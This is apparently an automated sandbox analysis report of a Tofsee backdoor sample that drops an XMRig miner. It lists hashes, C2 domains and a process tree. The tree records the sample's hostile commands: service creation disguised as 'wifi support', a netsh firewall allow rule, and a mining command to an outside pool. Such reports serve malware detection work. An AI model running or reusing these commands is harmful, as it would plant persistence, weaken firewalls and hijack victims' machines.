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Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2022, 08:50

General

  • Target

    7134362ae929ebed3bfb457151a49cc5a068f1f2b5a54692f27f6cd0a1ccca92.exe

  • Size

    331KB

  • MD5

    5ef24646699f555f39c222511eab2a94

  • SHA1

    6d39a1b241cf412ffa3ced440954c2a2de447474

  • SHA256

    7134362ae929ebed3bfb457151a49cc5a068f1f2b5a54692f27f6cd0a1ccca92

  • SHA512

    8539536f99b1aef01d1793ee50685d3224e2355eecd03f359156d0db45f9d1261340553d8b5955e02ca8c393643083da60bf5d7dfe2daf717629c4175dc0de5a

  • SSDEEP

    6144:RiomLGtrbupbES9NVYLoDdohClICA61hJFIJfVAVrwU+:sDKxbdcYsDd6P6PHgtyQ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7134362ae929ebed3bfb457151a49cc5a068f1f2b5a54692f27f6cd0a1ccca92.exe
    "C:\Users\Admin\AppData\Local\Temp\7134362ae929ebed3bfb457151a49cc5a068f1f2b5a54692f27f6cd0a1ccca92.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5064
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xwjelser\
      2⤵
        PID:640
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xdqlelyt.exe" C:\Windows\SysWOW64\xwjelser\
        2⤵
          PID:3144
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xwjelser binPath= "C:\Windows\SysWOW64\xwjelser\xdqlelyt.exe /d\"C:\Users\Admin\AppData\Local\Temp\7134362ae929ebed3bfb457151a49cc5a068f1f2b5a54692f27f6cd0a1ccca92.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xwjelser "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1444
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xwjelser
          2⤵
          • Launches sc.exe
          PID:2564
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5092
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1180
          2⤵
          • Program crash
          PID:1088
      • C:\Windows\SysWOW64\xwjelser\xdqlelyt.exe
        C:\Windows\SysWOW64\xwjelser\xdqlelyt.exe /d"C:\Users\Admin\AppData\Local\Temp\7134362ae929ebed3bfb457151a49cc5a068f1f2b5a54692f27f6cd0a1ccca92.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3944
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 524
          2⤵
          • Program crash
          PID:2860
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5064 -ip 5064
        1⤵
          PID:4460
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4508 -ip 4508
          1⤵
            PID:2932

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xdqlelyt.exe

            Filesize

            11.0MB

            MD5

            9948ce5749e5dc06975da07af7dc5fe0

            SHA1

            3c167b4ddd5be2d28a757db7e046b3563fb3d035

            SHA256

            58cd499feef449ce9bf93c1587c92665bdae89032909211f007873707cdfc7d3

            SHA512

            8403aad8a53f4c5edc47757f385a95ff2599983630f63c31bd30a9bf2bc7280802fec3429663b11e7c66c35481f4b98c0de24946f87177855cdcd712f24a6e50

          • C:\Windows\SysWOW64\xwjelser\xdqlelyt.exe

            Filesize

            11.0MB

            MD5

            9948ce5749e5dc06975da07af7dc5fe0

            SHA1

            3c167b4ddd5be2d28a757db7e046b3563fb3d035

            SHA256

            58cd499feef449ce9bf93c1587c92665bdae89032909211f007873707cdfc7d3

            SHA512

            8403aad8a53f4c5edc47757f385a95ff2599983630f63c31bd30a9bf2bc7280802fec3429663b11e7c66c35481f4b98c0de24946f87177855cdcd712f24a6e50

          • memory/3036-176-0x0000000000870000-0x0000000000961000-memory.dmp

            Filesize

            964KB

          • memory/3036-171-0x0000000000870000-0x0000000000961000-memory.dmp

            Filesize

            964KB

          • memory/3944-167-0x00000000023F0000-0x00000000023F7000-memory.dmp

            Filesize

            28KB

          • memory/3944-164-0x0000000006F00000-0x000000000730B000-memory.dmp

            Filesize

            4.0MB

          • memory/3944-145-0x0000000000170000-0x0000000000185000-memory.dmp

            Filesize

            84KB

          • memory/3944-161-0x00000000023E0000-0x00000000023E5000-memory.dmp

            Filesize

            20KB

          • memory/3944-158-0x0000000002210000-0x0000000002220000-memory.dmp

            Filesize

            64KB

          • memory/3944-150-0x0000000000170000-0x0000000000185000-memory.dmp

            Filesize

            84KB

          • memory/3944-151-0x0000000000170000-0x0000000000185000-memory.dmp

            Filesize

            84KB

          • memory/3944-152-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/3944-155-0x00000000017F0000-0x00000000017F6000-memory.dmp

            Filesize

            24KB

          • memory/4508-149-0x0000000000400000-0x0000000000459000-memory.dmp

            Filesize

            356KB

          • memory/4508-148-0x0000000000719000-0x000000000072E000-memory.dmp

            Filesize

            84KB

          • memory/5064-132-0x000000000067D000-0x0000000000692000-memory.dmp

            Filesize

            84KB

          • memory/5064-143-0x0000000000400000-0x0000000000459000-memory.dmp

            Filesize

            356KB

          • memory/5064-134-0x0000000000400000-0x0000000000459000-memory.dmp

            Filesize

            356KB

          • memory/5064-133-0x00000000005C0000-0x00000000005D3000-memory.dmp

            Filesize

            76KB